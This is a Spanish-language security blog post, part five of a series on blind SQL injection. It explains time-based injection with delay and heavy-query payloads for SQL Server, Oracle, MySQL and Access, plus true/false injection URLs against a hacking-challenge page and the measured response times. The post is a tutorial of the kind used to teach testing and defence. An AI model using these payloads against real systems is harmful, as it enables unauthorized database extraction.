martes, julio 31, 2007

Blind SQL Injection (V).
El tiempo

Ayer dejaba una pregunta en el aire, [que RoMaNSoft y Dani K no dejaron escapar] sobre que hacer en el caso de que tengamos un valor por defecto y no haya forma de encontrar otro valor para poder discernir entre verdadero y falso.

La solución es sencilla, realizar inyecciones en base a tiempo. Esto ya lo hemos comentado varias veces, e incluso os he puesto una herramienta, SQL Ninja [no es la única, ya os pondré más], que puede realizar la automatización para SQL Server. Ya existen soluciones para Microsoft SQL Server y Oracle basadas en llamadas a procedimientos almacenados, y para MySQL basados en consultas pesadas usando llamadas a las funciones Benchmark.

Un ejemplo con SQL Server

Para ilusitrar este ejemplo con SQL Server hemos realizado una migración del Primer Reto Hacking a un SQL Server y hemos realizado unas pruebas de tiempo con Wget. Esta herramienta en modo comando realiza una petición GET a una página y nos marca el inico y el final de cada petición. Aquí tenéis los resultados.


Como se ve en esa primera captura, entre el tiempo de inicio y el de final han pasado unos 10 segundos, justo el delay marcado si se cumplía la condición.


En esta segunda petición se ve que es falso porque no se ha producido el retardo. ¿Qué soluciones tenemos para generar estos retardos de tiempo?

Pues varias, estas consultas, como os imaginaréis, dependen del motor de base de datos utilizado.

Microsoft SQL Server:

- Llamada de retardo: ; waitfor delay '0:0:15' –-
- Uniendo consulta pesada: and (…(10000 > (select count(*) from sysobjects,sysusers,sycolums) --

Oracle:

- Llamada de retardo: ; BEGIN DBMS_LOCK.SLEEP(5); END;--
- Uniendo consulta pesada: and (…(10000> (select count(*) from all_users, all_tables, all_columns...)

MySQL:

Uniendo consulta pesada: And exists(SELECT BENCHMARK(…(1000000,MD5(CHAR(116))))

Para los entornos en los que no tengamos acceso a los procedimientos almacenados o a las tablas del diccionario de datos, siempre podremos utilizar consultas pesadas en función de las tablas que conozcamos, el número de filas que tengan y alguna que otra función matemática. Esto dependerá del volumen de filas que tenga cada tabla y el numero de joins y/o cálculo matemático que podamos forzar.

Access:

La respuesta para Access es como para cualquier otra base de datos a la que no podamos acceder a procedimientos almacenados de retardo, consiste en buscar una consulta que haga tardar más de la cuenta al sistema. Dani K. se ha currado una consulta pesada para el Primer Reto Hacking y yo he hecho las pruebas con Wget para ver las mediciones de tiempo. Totalmente automatizable. Ha prometido resolver el Primer Reto Hacking con esta técnica, así que espero publicar pronto un nuevo solucionario ;)

Inyección de Verdad: http://www.informatica64.com/retohacking/pista.aspx?id_pista=1 and 1=1 and (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6, MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10)>0


Tiempo de Respuesta: 6 segundos.

Inyección Falsa: http://www.informatica64.com/retohacking/pista.aspx?id_pista=1 and 0=1 and (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6, MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10)>0

Tiempo de Respuesta: 1 segundo.

Como se puede ver, si tu web es vulnerable, entonces... es vulnerable.

Saludos Malignos!

Entradas populares